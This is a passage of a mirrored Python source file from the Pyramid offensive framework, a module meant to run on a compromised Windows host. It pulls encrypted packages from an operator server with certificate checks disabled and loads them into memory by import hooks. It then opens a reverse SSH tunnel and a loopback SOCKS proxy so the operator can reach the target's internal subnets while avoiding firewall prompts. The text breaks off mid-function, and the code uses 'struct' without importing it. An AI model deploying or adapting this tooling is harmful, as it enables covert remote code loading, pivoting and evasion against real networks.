mirror of
https://github.com/naksyn/Pyramid
synced 2026-06-08 16:17:13 +00:00
1658 lines
68 KiB
Python
1658 lines
68 KiB
Python
'''
|
|
Author: Diego Capriotti @naksyn (c) 2022
|
|
|
|
Update 04-2023: bumped to work with Pyramid v.0.1
|
|
|
|
Description: Pyramid Base module for executing a socks5 Proxy server on 127.0.0.1 and making it accessible via an SSH tunnel.
|
|
|
|
Instructions: Modify parameters and execute the script with a Pyramid cradle on the machine where you want to run socks5 proxy server (127.0.0.1 address).
|
|
The SSH tunnel will make possible to use proxychains from Linux or Proxifier/Proxycap from Windows and your traffic will reach subnets that are visible to the target.
|
|
The target's Windows firewall won't complain about the proxy server since it'll listen on 127.0.0.1.
|
|
|
|
-
|
|
Copyright 2022
|
|
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
|
|
to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
|
|
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
|
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
|
|
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
|
|
OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
|
|
|
Credits: Qian Wenjie for python-proxy and Robey Pointer for paramiko rforward.py
|
|
This script contains an adaptation of https://github.com/qwj/python-proxy and https://github.com/paramiko/paramiko/blob/main/demos/rforward.py
|
|
'''
|
|
|
|
|
|
import os
|
|
import base64
|
|
import ssl
|
|
import importlib
|
|
import urllib.request
|
|
import sys
|
|
import zipfile
|
|
import io
|
|
import time
|
|
import logging
|
|
import ctypes
|
|
import ctypes.wintypes as wt
|
|
import inspect
|
|
import distutils
|
|
import getpass
|
|
import socket
|
|
import select
|
|
|
|
try:
|
|
import SocketServer
|
|
except ImportError:
|
|
import socketserver as SocketServer
|
|
|
|
from optparse import OptionParser
|
|
|
|
|
|
|
|
### This config is generated by Pyramid server upon startup and based on command line given
|
|
### AUTO-GENERATED PYRAMID CONFIG ### DELIMITER
|
|
|
|
pyramid_server='192.168.1.2'
|
|
pyramid_port='80'
|
|
pyramid_user='test'
|
|
pyramid_pass='pass'
|
|
encryption='chacha20'
|
|
encryptionpass='chacha20'
|
|
chacha20IV=b'12345678'
|
|
pyramid_http='http'
|
|
encode_encrypt_url='/login/'
|
|
|
|
### END DELIMITER
|
|
|
|
###### CHANGE THIS BLOCK ##########
|
|
|
|
|
|
### GENERAL CONFIG ####
|
|
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
|
|
|
|
### Directory to which extract pyds dependencies (cryptodome, paramiko etc.) - can also be a Network Share e.g. \\\\share\\folder
|
|
### setting to false extract to current directory
|
|
extraction_dir=False
|
|
|
|
|
|
# SSH CONFIG
|
|
|
|
SSH_server =("192.168.2.2", int("22")) # REMOTE SSH SERVER (OPERATOR)
|
|
DEFAULT_REMOTE_LISTENING_PORT='444' # REMOTE PORT TO PUT LISTENING (OPERATOR)
|
|
DEFAULT_FW_PORT = '443' # LOCAL PORT TO FORWARD TO (OPERATOR)
|
|
SSH_remotefw =("127.0.0.1",int(DEFAULT_FW_PORT)) # ADDRESS AND PORT TO FORWARD AFTER REMOTE SSH TUNNEL (TARGET)
|
|
SSH_username = "test"
|
|
SSH_password = "test"
|
|
SSH_KEEPALIVE_INTERVAL=15
|
|
|
|
# SOCKS CONFIG
|
|
|
|
LISTENING_SOCKS_ADDRESS_PORT="http+socks4+socks5://127.0.0.1:" + DEFAULT_FW_PORT ### SOCKS5 PROXY HOST AND PORT - LEAVE HOST TO 127.0.0.1 OR TARGET FIREWALL WILL ASK FOR PERMISSION
|
|
|
|
#cwd = os.path.dirname(__file__)
|
|
|
|
#### DO NOT CHANGE BELOW THIS LINE #####
|
|
|
|
|
|
|
|
|
|
### ChaCha encryption
|
|
|
|
def yield_chacha20_xor_stream(key, iv, position=0):
|
|
"""Generate the xor stream with the ChaCha20 cipher."""
|
|
if not isinstance(position, int):
|
|
raise TypeError
|
|
if position & ~0xffffffff:
|
|
raise ValueError('Position is not uint32.')
|
|
if not isinstance(key, bytes):
|
|
raise TypeError
|
|
if not isinstance(iv, bytes):
|
|
raise TypeError
|
|
if len(key) != 32:
|
|
raise ValueError
|
|
if len(iv) != 8:
|
|
raise ValueError
|
|
|
|
def rotate(v, c):
|
|
return ((v << c) & 0xffffffff) | v >> (32 - c)
|
|
|
|
def quarter_round(x, a, b, c, d):
|
|
x[a] = (x[a] + x[b]) & 0xffffffff
|
|
x[d] = rotate(x[d] ^ x[a], 16)
|
|
x[c] = (x[c] + x[d]) & 0xffffffff
|
|
x[b] = rotate(x[b] ^ x[c], 12)
|
|
x[a] = (x[a] + x[b]) & 0xffffffff
|
|
x[d] = rotate(x[d] ^ x[a], 8)
|
|
x[c] = (x[c] + x[d]) & 0xffffffff
|
|
x[b] = rotate(x[b] ^ x[c], 7)
|
|
|
|
ctx = [0] * 16
|
|
ctx[:4] = (1634760805, 857760878, 2036477234, 1797285236)
|
|
ctx[4 : 12] = struct.unpack('<8L', key)
|
|
ctx[12] = ctx[13] = position
|
|
ctx[14 : 16] = struct.unpack('<LL', iv)
|
|
while 1:
|
|
x = list(ctx)
|
|
for i in range(3):
|
|
quarter_round(x, 0, 4, 8, 12)
|
|
quarter_round(x, 1, 5, 9, 13)
|
|
quarter_round(x, 2, 6, 10, 14)
|
|
quarter_round(x, 3, 7, 11, 15)
|
|
quarter_round(x, 0, 5, 10, 15)
|
|
quarter_round(x, 1, 6, 11, 12)
|
|
quarter_round(x, 2, 7, 8, 13)
|
|
quarter_round(x, 3, 4, 9, 14)
|
|
for c in struct.pack('<16L', *(
|
|
(x[i] + ctx[i]) & 0xffffffff for i in range(16))):
|
|
yield c
|
|
ctx[12] = (ctx[12] + 1) & 0xffffffff
|
|
if ctx[12] == 0:
|
|
ctx[13] = (ctx[13] + 1) & 0xffffffff
|
|
|
|
|
|
def encrypt_chacha20(data, key, iv=None, position=0):
|
|
"""Encrypt (or decrypt) with the ChaCha20 cipher."""
|
|
if not isinstance(data, bytes):
|
|
raise TypeError
|
|
if iv is None:
|
|
iv = b'\0' * 8
|
|
if isinstance(key, bytes):
|
|
if not key:
|
|
raise ValueError('Key is empty.')
|
|
if len(key) < 32:
|
|
# TODO(pts): Do key derivation with PBKDF2 or something similar.
|
|
key = (key * (32 // len(key) + 1))[:32]
|
|
if len(key) > 32:
|
|
raise ValueError('Key too long.')
|
|
|
|
return bytes(a ^ b for a, b in
|
|
zip(data, yield_chacha20_xor_stream(key, iv, position)))
|
|
|
|
### XOR encryption
|
|
|
|
def encrypt(data, key):
|
|
xored_data = []
|
|
i = 0
|
|
for data_byte in data:
|
|
if i < len(key):
|
|
xored_byte = data_byte ^ key[i]
|
|
xored_data.append(xored_byte)
|
|
i += 1
|
|
else:
|
|
xored_byte = data_byte ^ key[0]
|
|
xored_data.append(xored_byte)
|
|
i = 1
|
|
return bytes(xored_data)
|
|
|
|
|
|
### Encryption wrapper ####
|
|
|
|
def encrypt_wrapper(data, encryption):
|
|
if encryption == 'xor':
|
|
result=encrypt(data, encryptionpass.encode())
|
|
return result
|
|
elif encryption == 'chacha20':
|
|
result=encrypt_chacha20(data, encryptionpass.encode(),chacha20IV)
|
|
return result
|
|
|
|
|
|
|
|
#### MODULE IMPORTER ####
|
|
|
|
moduleRepo = {}
|
|
_meta_cache = {}
|
|
# [0] = .py ext, is_package = False
|
|
# [1] = /__init__.py ext, is_package = True
|
|
_search_order = [('.py', False), ('/__init__.py', True)]
|
|
|
|
class ZipImportError(ImportError):
|
|
|
|
"""Exception raised by zipimporter objects."""
|
|
|
|
|
|
# _get_info() = takes the fullname, then subpackage name (if applicable),
|
|
# and searches for the respective module or package
|
|
|
|
|
|
|
|
class CFinder(object):
|
|
"""Import Hook"""
|
|
def __init__(self, repoName):
|
|
self.repoName = repoName
|
|
self._source_cache = {}
|
|
|
|
def _get_info(self, fullname):
|
|
"""Search for the respective package or module in the zipfile object"""
|
|
parts = fullname.split('.')
|
|
submodule = parts[-1]
|
|
modulepath = '/'.join(parts)
|
|
|
|
#check to see if that specific module exists
|
|
|
|
for suffix, is_package in _search_order:
|
|
relpath = modulepath + suffix
|
|
try:
|
|
moduleRepo[self.repoName].getinfo(relpath)
|
|
except KeyError:
|
|
pass
|
|
else:
|
|
return submodule, is_package, relpath
|
|
|
|
#Error out if we can find the module/package
|
|
msg = ('Unable to locate module %s in the %s repo' % (submodule, self.repoName))
|
|
raise ZipImportError(msg)
|
|
|
|
def _get_source(self, fullname):
|
|
"""Get the source code for the requested module"""
|
|
submodule, is_package, relpath = self._get_info(fullname)
|
|
fullpath = '%s/%s' % (self.repoName, relpath)
|
|
if relpath in self._source_cache:
|
|
source = self._source_cache[relpath]
|
|
return submodule, is_package, fullpath, source
|
|
try:
|
|
### added .decode
|
|
source = moduleRepo[self.repoName].read(relpath).decode()
|
|
#print(source)
|
|
source = source.replace('\r\n', '\n')
|
|
source = source.replace('\r', '\n')
|
|
self._source_cache[relpath] = source
|
|
return submodule, is_package, fullpath, source
|
|
except:
|
|
raise ZipImportError("Unable to obtain source for module %s" % (fullpath))
|
|
|
|
def find_spec(self, fullname, path=None, target=None):
|
|
try:
|
|
submodule, is_package, relpath = self._get_info(fullname)
|
|
except ImportError:
|
|
return None
|
|
else:
|
|
return importlib.util.spec_from_loader(fullname, self)
|
|
|
|
def create_module(self, spec):
|
|
return None
|
|
|
|
def exec_module(self, module):
|
|
submodule, is_package, fullpath, source = self._get_source(module.__name__)
|
|
code = compile(source, fullpath, 'exec')
|
|
if is_package:
|
|
module.__path__ = [os.path.dirname(fullpath)]
|
|
exec(code, module.__dict__)
|
|
|
|
def get_data(self, fullpath):
|
|
prefix = os.path.join(self.repoName, '')
|
|
if not fullpath.startswith(prefix):
|
|
raise IOError('Path %r does not start with module name %r', (fullpath, prefix))
|
|
relpath = fullpath[len(prefix):]
|
|
try:
|
|
return moduleRepo[self.repoName].read(relpath)
|
|
except KeyError:
|
|
raise IOError('Path %r not found in repo %r' % (relpath, self.repoName))
|
|
|
|
def is_package(self, fullname):
|
|
"""Return if the module is a package"""
|
|
submodule, is_package, relpath = self._get_info(fullname)
|
|
return is_package
|
|
|
|
def get_code(self, fullname):
|
|
submodule, is_package, fullpath, source = self._get_source(fullname)
|
|
return compile(source, fullpath, 'exec')
|
|
|
|
def install_hook(repoName):
|
|
if repoName not in _meta_cache:
|
|
finder = CFinder(repoName)
|
|
_meta_cache[repoName] = finder
|
|
|
|
sys.meta_path.append(finder)
|
|
|
|
def remove_hook(repoName):
|
|
if repoName in _meta_cache:
|
|
finder = _meta_cache.pop(repoName)
|
|
sys.meta_path.remove(finder)
|
|
|
|
def hook_routine(fileName,zip_web):
|
|
zf=zipfile.ZipFile(io.BytesIO(zip_web), 'r')
|
|
moduleRepo[fileName]=zf
|
|
install_hook(fileName)
|
|
|
|
|
|
|
|
zip_list=['paramiko---six', 'paramiko---cffi', 'paramiko---paramiko','paramiko---proto' ]
|
|
|
|
|
|
for zip_name in zip_list:
|
|
try:
|
|
print("[*] Loading in memory module package: " + (zip_name.split('---')[-1] if '---' in zip_name else zip_name) )
|
|
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
|
|
gcontext.check_hostname = False
|
|
gcontext.verify_mode = ssl.CERT_NONE
|
|
request = urllib.request.Request(pyramid_http + '://'+ pyramid_server + ':' + pyramid_port + encode_encrypt_url + \
|
|
base64.b64encode((encrypt_wrapper((zip_name+'.zip').encode(), encryption))).decode('utf-8'), \
|
|
headers={'User-Agent': user_agent})
|
|
base64string = base64.b64encode(bytes('%s:%s' % (pyramid_user, pyramid_pass),'ascii'))
|
|
request.add_header("Authorization", "Basic %s" % base64string.decode('utf-8'))
|
|
with urllib.request.urlopen(request, context=gcontext) as response:
|
|
zip_web = response.read()
|
|
print("[*] Decrypting received file")
|
|
zip_web= encrypt_wrapper(zip_web, encryption)
|
|
hook_routine(zip_name, zip_web)
|
|
|
|
except Exception as e:
|
|
print(e)
|
|
|
|
cwd=os.getcwd()
|
|
|
|
if not extraction_dir:
|
|
extraction_dir=cwd
|
|
|
|
sys.path.insert(1,extraction_dir)
|
|
|
|
### separator --- is used by Pyramid server to look into the specified folder
|
|
|
|
zip_name='paramiko---paramiko_pyds_dependencies'
|
|
print("[*] Downloading and unpacking on disk paramiko pyds dependencies on dir {}".format(extraction_dir))
|
|
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
|
|
gcontext.check_hostname = False
|
|
gcontext.verify_mode = ssl.CERT_NONE
|
|
request = urllib.request.Request(pyramid_http + '://'+ pyramid_server + ':' + pyramid_port + encode_encrypt_url + \
|
|
base64.b64encode((encrypt_wrapper((zip_name+'.zip').encode(), encryption))).decode('utf-8'), \
|
|
headers={'User-Agent': user_agent})
|
|
base64string = base64.b64encode(bytes('%s:%s' % (pyramid_user, pyramid_pass),'ascii'))
|
|
request.add_header("Authorization", "Basic %s" % base64string.decode('utf-8'))
|
|
with urllib.request.urlopen(request, context=gcontext) as response:
|
|
zip_web = response.read()
|
|
|
|
print("[*] Decrypting received file")
|
|
zip_web= encrypt_wrapper(zip_web, encryption)
|
|
|
|
with zipfile.ZipFile(io.BytesIO(zip_web), 'r') as zip_ref:
|
|
zip_ref.extractall(extraction_dir)
|
|
|
|
|
|
'''
|
|
####################
|
|
|
|
Adaptation of Robey Pointer's rforward.py https://github.com/paramiko/paramiko/blob/main/demos/rforward.py
|
|
|
|
####################
|
|
'''
|
|
|
|
#!/usr/bin/env python
|
|
# Copyright (C) 2008 Robey Pointer <robeypointer@gmail.com>
|
|
#
|
|
# This file is part of paramiko.
|
|
#
|
|
# Paramiko is free software; you can redistribute it and/or modify it under the
|
|
# terms of the GNU Lesser General Public License as published by the Free
|
|
# Software Foundation; either version 2.1 of the License, or (at your option)
|
|
# any later version.
|
|
#
|
|
# Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
|
|
# A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
|
|
# details.
|
|
#
|
|
# You should have received a copy of the GNU Lesser General Public License
|
|
# along with Paramiko; if not, write to the Free Software Foundation, Inc.,
|
|
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
|
|
|
|
|
"""
|
|
Sample script showing how to do remote port forwarding over paramiko.
|
|
This script connects to the requested SSH server and sets up remote port
|
|
forwarding (the openssh -R option) from a remote port through a tunneled
|
|
connection to a destination reachable from the local machine.
|
|
"""
|
|
|
|
import getpass
|
|
import os
|
|
import socket
|
|
import select
|
|
import sys
|
|
import threading
|
|
from optparse import OptionParser
|
|
|
|
import paramiko
|
|
import _thread
|
|
|
|
g_verbose = True
|
|
|
|
def handler(chan, host, port):
|
|
sock = socket.socket()
|
|
try:
|
|
sock.connect((host, port))
|
|
except Exception as e:
|
|
verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))
|
|
return
|
|
|
|
verbose(
|
|
"Connected! Tunnel open %r -> %r -> %r"
|
|
% (chan.origin_addr, chan.getpeername(), (host, port))
|
|
)
|
|
while True:
|
|
r, w, x = select.select([sock, chan], [], [])
|
|
if sock in r:
|
|
data = sock.recv(1024)
|
|
if len(data) == 0:
|
|
break
|
|
chan.send(data)
|
|
if chan in r:
|
|
data = chan.recv(1024)
|
|
if len(data) == 0:
|
|
break
|
|
sock.send(data)
|
|
chan.close()
|
|
sock.close()
|
|
verbose("Tunnel closed from %r" % (chan.origin_addr,))
|
|
|
|
|
|
def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
|
|
transport.request_port_forward("", server_port)
|
|
transport.set_keepalive(SSH_KEEPALIVE_INTERVAL)
|
|
while True:
|
|
chan = transport.accept(20000)
|
|
if chan is None:
|
|
continue
|
|
thr = threading.Thread(
|
|
target=handler, args=(chan, remote_host, remote_port)
|
|
)
|
|
thr.setDaemon(True)
|
|
thr.start()
|
|
|
|
def verbose(s):
|
|
if g_verbose:
|
|
print(s)
|
|
|
|
HELP = """\
|
|
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
|
|
port on the SSH server (given with -p) is forwarded across an SSH session
|
|
back to the local machine, and out to a remote site reachable from this
|
|
network. This is similar to the openssh -R option.
|
|
"""
|
|
|
|
|
|
def get_host_port(spec, default_port):
|
|
"parse 'hostname:22' into a host and port, with the port optional"
|
|
args = (spec.split(":", 1) + [default_port])[:2]
|
|
args[1] = int(args[1])
|
|
return args[0], args[1]
|
|
|
|
def parse_options():
|
|
global g_verbose
|
|
|
|
parser = OptionParser(
|
|
usage="usage: %prog [options] <ssh-server>[:<server-port>]",
|
|
version="%prog 1.0",
|
|
description=HELP,
|
|
)
|
|
parser.add_option(
|
|
"-q",
|
|
"--quiet",
|
|
action="store_false",
|
|
dest="verbose",
|
|
default=True,
|
|
help="squelch all informational output",
|
|
)
|
|
|
|
parser.add_option(
|
|
"-p",
|
|
"--remote-port",
|
|
action="store",
|
|
type="int",
|
|
dest="port",
|
|
default=DEFAULT_REMOTE_LISTENING_PORT,
|
|
help="port on server to forward (default: %d)" % int(DEFAULT_REMOTE_LISTENING_PORT),
|
|
)
|
|
|
|
parser.add_option(
|
|
"-u",
|
|
"--user",
|
|
action="store",
|
|
type="string",
|
|
dest="user",
|
|
default=getpass.getuser(),
|
|
help="username for SSH authentication (default: %s)"
|
|
% getpass.getuser(),
|
|
)
|
|
|
|
parser.add_option(
|
|
"-K",
|
|
"--key",
|
|
action="store",
|
|
type="string",
|
|
dest="keyfile",
|
|
default=None,
|
|
help="private key file to use for SSH authentication",
|
|
)
|
|
|
|
parser.add_option(
|
|
"",
|
|
"--no-key",
|
|
action="store_false",
|
|
dest="look_for_keys",
|
|
default=True,
|
|
help="don't look for or use a private key file",
|
|
)
|
|
|
|
parser.add_option(
|
|
"-P",
|
|
"--password",
|
|
action="store_true",
|
|
dest="readpass",
|
|
default=False,
|
|
help="read password (for key or password auth) from stdin",
|
|
)
|
|
|
|
parser.add_option(
|
|
"-r",
|
|
"--remote",
|
|
action="store",
|
|
type="string",
|
|
dest="remote",
|
|
default=None,
|
|
metavar="host:port",
|
|
help="remote host and port to forward to",
|
|
)
|
|
options, args = parser.parse_args()
|
|
|
|
#if len(args) != 1:
|
|
# parser.error("Incorrect number of arguments.")
|
|
#if options.remote is None:
|
|
# parser.error("Remote address required (-r).")
|
|
|
|
g_verbose = options.verbose
|
|
server_host, server_port = SSH_server
|
|
remote_host, remote_port = SSH_remotefw
|
|
return options, (server_host, server_port), (remote_host, remote_port)
|
|
|
|
'''
|
|
####################
|
|
|
|
Adaptation of Qian Wenjie's Python-Proxy https://github.com/qwj/python-proxy
|
|
|
|
####################
|
|
'''
|
|
|
|
|
|
import argparse, time, re, asyncio, functools, base64, random, urllib.parse, socket
|
|
import proto
|
|
#from __doc__ import *
|
|
|
|
#### __doc__.py beginning
|
|
|
|
__title__ = "pproxy"
|
|
__license__ = "MIT"
|
|
__description__ = "Proxy server that can tunnel among remote servers by regex rules."
|
|
__keywords__ = "proxy socks http shadowsocks shadowsocksr ssr redirect pf tunnel cipher ssl udp"
|
|
__author__ = "Qian Wenjie"
|
|
__email__ = "qianwenjie@gmail.com"
|
|
__url__ = "https://github.com/qwj/python-proxy"
|
|
|
|
try:
|
|
from setuptools_scm import get_version
|
|
__version__ = get_version()
|
|
except Exception:
|
|
try:
|
|
from pkg_resources import get_distribution
|
|
__version__ = get_distribution('pproxy').version
|
|
except Exception:
|
|
__version__ = 'unknown'
|
|
|
|
__all__ = ['__version__', '__description__', '__url__']
|
|
|
|
### end of __doc__.py
|
|
|
|
SOCKET_TIMEOUT = 60
|
|
UDP_LIMIT = 30
|
|
DUMMY = lambda s: s
|
|
|
|
|
|
def patch_StreamReader(c=asyncio.StreamReader):
|
|
c.read_w = lambda self, n: asyncio.wait_for(self.read(n), timeout=SOCKET_TIMEOUT)
|
|
c.read_n = lambda self, n: asyncio.wait_for(self.readexactly(n), timeout=SOCKET_TIMEOUT)
|
|
c.read_until = lambda self, s: asyncio.wait_for(self.readuntil(s), timeout=SOCKET_TIMEOUT)
|
|
c.rollback = lambda self, s: self._buffer.__setitem__(slice(0, 0), s)
|
|
def patch_StreamWriter(c=asyncio.StreamWriter):
|
|
c.is_closing = lambda self: self._transport.is_closing() # Python 3.6 fix
|
|
patch_StreamReader()
|
|
patch_StreamWriter()
|
|
|
|
class AuthTable(object):
|
|
_auth = {}
|
|
_user = {}
|
|
def __init__(self, remote_ip, authtime):
|
|
self.remote_ip = remote_ip
|
|
self.authtime = authtime
|
|
def authed(self):
|
|
if time.time() - self._auth.get(self.remote_ip, 0) <= self.authtime:
|
|
return self._user[self.remote_ip]
|
|
def set_authed(self, user):
|
|
self._auth[self.remote_ip] = time.time()
|
|
self._user[self.remote_ip] = user
|
|
|
|
async def prepare_ciphers(cipher, reader, writer, bind=None, server_side=True):
|
|
if cipher:
|
|
cipher.pdecrypt = cipher.pdecrypt2 = cipher.pencrypt = cipher.pencrypt2 = DUMMY
|
|
for plugin in cipher.plugins:
|
|
if server_side:
|
|
await plugin.init_server_data(reader, writer, cipher, bind)
|
|
else:
|
|
await plugin.init_client_data(reader, writer, cipher)
|
|
plugin.add_cipher(cipher)
|
|
return cipher(reader, writer, cipher.pdecrypt, cipher.pdecrypt2, cipher.pencrypt, cipher.pencrypt2)
|
|
else:
|
|
return None, None
|
|
|
|
def schedule(rserver, salgorithm, host_name, port):
|
|
filter_cond = lambda o: o.alive and o.match_rule(host_name, port)
|
|
if salgorithm == 'fa':
|
|
return next(filter(filter_cond, rserver), None)
|
|
elif salgorithm == 'rr':
|
|
for i, roption in enumerate(rserver):
|
|
if filter_cond(roption):
|
|
rserver.append(rserver.pop(i))
|
|
return roption
|
|
elif salgorithm == 'rc':
|
|
filters = [i for i in rserver if filter_cond(i)]
|
|
return random.choice(filters) if filters else None
|
|
elif salgorithm == 'lc':
|
|
return min(filter(filter_cond, rserver), default=None, key=lambda i: i.connections)
|
|
else:
|
|
raise Exception('Unknown scheduling algorithm') #Unreachable
|
|
|
|
async def stream_handler(reader, writer, unix, lbind, protos, rserver, cipher, sslserver, debug=0, authtime=86400*30, block=None, salgorithm='fa', verbose=DUMMY, modstat=lambda u,r,h:lambda i:DUMMY, **kwargs):
|
|
try:
|
|
reader, writer = proto.sslwrap(reader, writer, sslserver, True, None, verbose)
|
|
if unix:
|
|
remote_ip, server_ip, remote_text = 'local', None, 'unix_local'
|
|
else:
|
|
peername = writer.get_extra_info('peername')
|
|
remote_ip, remote_port, *_ = peername if peername else ('unknow_remote_ip','unknow_remote_port')
|
|
server_ip = writer.get_extra_info('sockname')[0]
|
|
remote_text = f'{remote_ip}:{remote_port}'
|
|
local_addr = None if server_ip in ('127.0.0.1', '::1', None) else (server_ip, 0)
|
|
reader_cipher, _ = await prepare_ciphers(cipher, reader, writer, server_side=False)
|
|
lproto, user, host_name, port, client_connected = await proto.accept(protos, reader=reader, writer=writer, authtable=AuthTable(remote_ip, authtime), reader_cipher=reader_cipher, sock=writer.get_extra_info('socket'), **kwargs)
|
|
if host_name == 'echo':
|
|
asyncio.ensure_future(lproto.channel(reader, writer, DUMMY, DUMMY))
|
|
elif host_name == 'empty':
|
|
asyncio.ensure_future(lproto.channel(reader, writer, None, DUMMY))
|
|
elif block and block(host_name):
|
|
raise Exception('BLOCK ' + host_name)
|
|
else:
|
|
roption = schedule(rserver, salgorithm, host_name, port) or DIRECT
|
|
verbose(f'{lproto.name} {remote_text}{roption.logtext(host_name, port)}')
|
|
try:
|
|
reader_remote, writer_remote = await roption.open_connection(host_name, port, local_addr, lbind)
|
|
except asyncio.TimeoutError:
|
|
raise Exception(f'Connection timeout {roption.bind}')
|
|
try:
|
|
reader_remote, writer_remote = await roption.prepare_connection(reader_remote, writer_remote, host_name, port)
|
|
use_http = (await client_connected(writer_remote)) if client_connected else None
|
|
except Exception:
|
|
writer_remote.close()
|
|
raise Exception('Unknown remote protocol')
|
|
m = modstat(user, remote_ip, host_name)
|
|
lchannel = lproto.http_channel if use_http else lproto.channel
|
|
asyncio.ensure_future(lproto.channel(reader_remote, writer, m(2+roption.direct), m(4+roption.direct)))
|
|
asyncio.ensure_future(lchannel(reader, writer_remote, m(roption.direct), roption.connection_change))
|
|
except Exception as ex:
|
|
if not isinstance(ex, asyncio.TimeoutError) and not str(ex).startswith('Connection closed'):
|
|
verbose(f'{str(ex) or "Unsupported protocol"} from {remote_ip}')
|
|
try: writer.close()
|
|
except Exception: pass
|
|
if debug:
|
|
raise
|
|
|
|
async def datagram_handler(writer, data, addr, protos, urserver, block, cipher, salgorithm, verbose=DUMMY, **kwargs):
|
|
try:
|
|
remote_ip, remote_port, *_ = addr
|
|
remote_text = f'{remote_ip}:{remote_port}'
|
|
data = cipher.datagram.decrypt(data) if cipher else data
|
|
lproto, user, host_name, port, data = proto.udp_accept(protos, data, sock=writer.get_extra_info('socket'), **kwargs)
|
|
if host_name == 'echo':
|
|
writer.sendto(data, addr)
|
|
elif host_name == 'empty':
|
|
pass
|
|
elif block and block(host_name):
|
|
raise Exception('BLOCK ' + host_name)
|
|
else:
|
|
roption = schedule(urserver, salgorithm, host_name, port) or DIRECT
|
|
verbose(f'UDP {lproto.name} {remote_text}{roption.logtext(host_name, port)}')
|
|
data = roption.udp_prepare_connection(host_name, port, data)
|
|
def reply(rdata):
|
|
rdata = lproto.udp_pack(host_name, port, rdata)
|
|
writer.sendto(cipher.datagram.encrypt(rdata) if cipher else rdata, addr)
|
|
await roption.udp_open_connection(host_name, port, data, addr, reply)
|
|
except Exception as ex:
|
|
if not str(ex).startswith('Connection closed'):
|
|
verbose(f'{str(ex) or "Unsupported protocol"} from {remote_ip}')
|
|
|
|
async def check_server_alive(interval, rserver, verbose):
|
|
while True:
|
|
await asyncio.sleep(interval)
|
|
for remote in rserver:
|
|
if type(remote) is ProxyDirect:
|
|
continue
|
|
try:
|
|
_, writer = await remote.open_connection(None, None, None, None, timeout=3)
|
|
except asyncio.CancelledError as ex:
|
|
return
|
|
except Exception as ex:
|
|
if remote.alive:
|
|
verbose(f'{remote.rproto.name} {remote.bind} -> OFFLINE')
|
|
remote.alive = False
|
|
continue
|
|
if not remote.alive:
|
|
verbose(f'{remote.rproto.name} {remote.bind} -> ONLINE')
|
|
remote.alive = True
|
|
try:
|
|
if isinstance(remote, ProxyBackward):
|
|
writer.write(b'\x00')
|
|
writer.close()
|
|
except Exception:
|
|
pass
|
|
|
|
class ProxyDirect(object):
|
|
def __init__(self, lbind=None):
|
|
self.bind = 'DIRECT'
|
|
self.lbind = lbind
|
|
self.unix = False
|
|
self.alive = True
|
|
self.connections = 0
|
|
self.udpmap = {}
|
|
@property
|
|
def direct(self):
|
|
return type(self) is ProxyDirect
|
|
def logtext(self, host, port):
|
|
return '' if host == 'tunnel' else f' -> {host}:{port}'
|
|
def match_rule(self, host, port):
|
|
return True
|
|
def connection_change(self, delta):
|
|
self.connections += delta
|
|
def udp_packet_unpack(self, data):
|
|
return data
|
|
def destination(self, host, port):
|
|
return host, port
|
|
async def udp_open_connection(self, host, port, data, addr, reply):
|
|
class Protocol(asyncio.DatagramProtocol):
|
|
def __init__(prot, data):
|
|
self.udpmap[addr] = prot
|
|
prot.databuf = [data]
|
|
prot.transport = None
|
|
prot.update = 0
|
|
def connection_made(prot, transport):
|
|
prot.transport = transport
|
|
for data in prot.databuf:
|
|
transport.sendto(data)
|
|
prot.databuf.clear()
|
|
prot.update = time.perf_counter()
|
|
def new_data_arrived(prot, data):
|
|
if prot.transport:
|
|
prot.transport.sendto(data)
|
|
else:
|
|
prot.databuf.append(data)
|
|
prot.update = time.perf_counter()
|
|
def datagram_received(prot, data, addr):
|
|
data = self.udp_packet_unpack(data)
|
|
reply(data)
|
|
prot.update = time.perf_counter()
|
|
def connection_lost(prot, exc):
|
|
self.udpmap.pop(addr, None)
|
|
if addr in self.udpmap:
|
|
self.udpmap[addr].new_data_arrived(data)
|
|
else:
|
|
self.connection_change(1)
|
|
if len(self.udpmap) > UDP_LIMIT:
|
|
min_addr = min(self.udpmap, key=lambda x: self.udpmap[x].update)
|
|
prot = self.udpmap.pop(min_addr)
|
|
if prot.transport:
|
|
prot.transport.close()
|
|
prot = lambda: Protocol(data)
|
|
remote = self.destination(host, port)
|
|
await asyncio.get_event_loop().create_datagram_endpoint(prot, remote_addr=remote)
|
|
def udp_prepare_connection(self, host, port, data):
|
|
return data
|
|
def wait_open_connection(self, host, port, local_addr, family):
|
|
return asyncio.open_connection(host=host, port=port, local_addr=local_addr, family=family)
|
|
async def open_connection(self, host, port, local_addr, lbind, timeout=SOCKET_TIMEOUT):
|
|
try:
|
|
local_addr = local_addr if self.lbind == 'in' else (self.lbind, 0) if self.lbind else \
|
|
local_addr if lbind == 'in' else (lbind, 0) if lbind else None
|
|
family = 0 if local_addr is None else socket.AF_INET6 if ':' in local_addr[0] else socket.AF_INET
|
|
wait = self.wait_open_connection(host, port, local_addr, family)
|
|
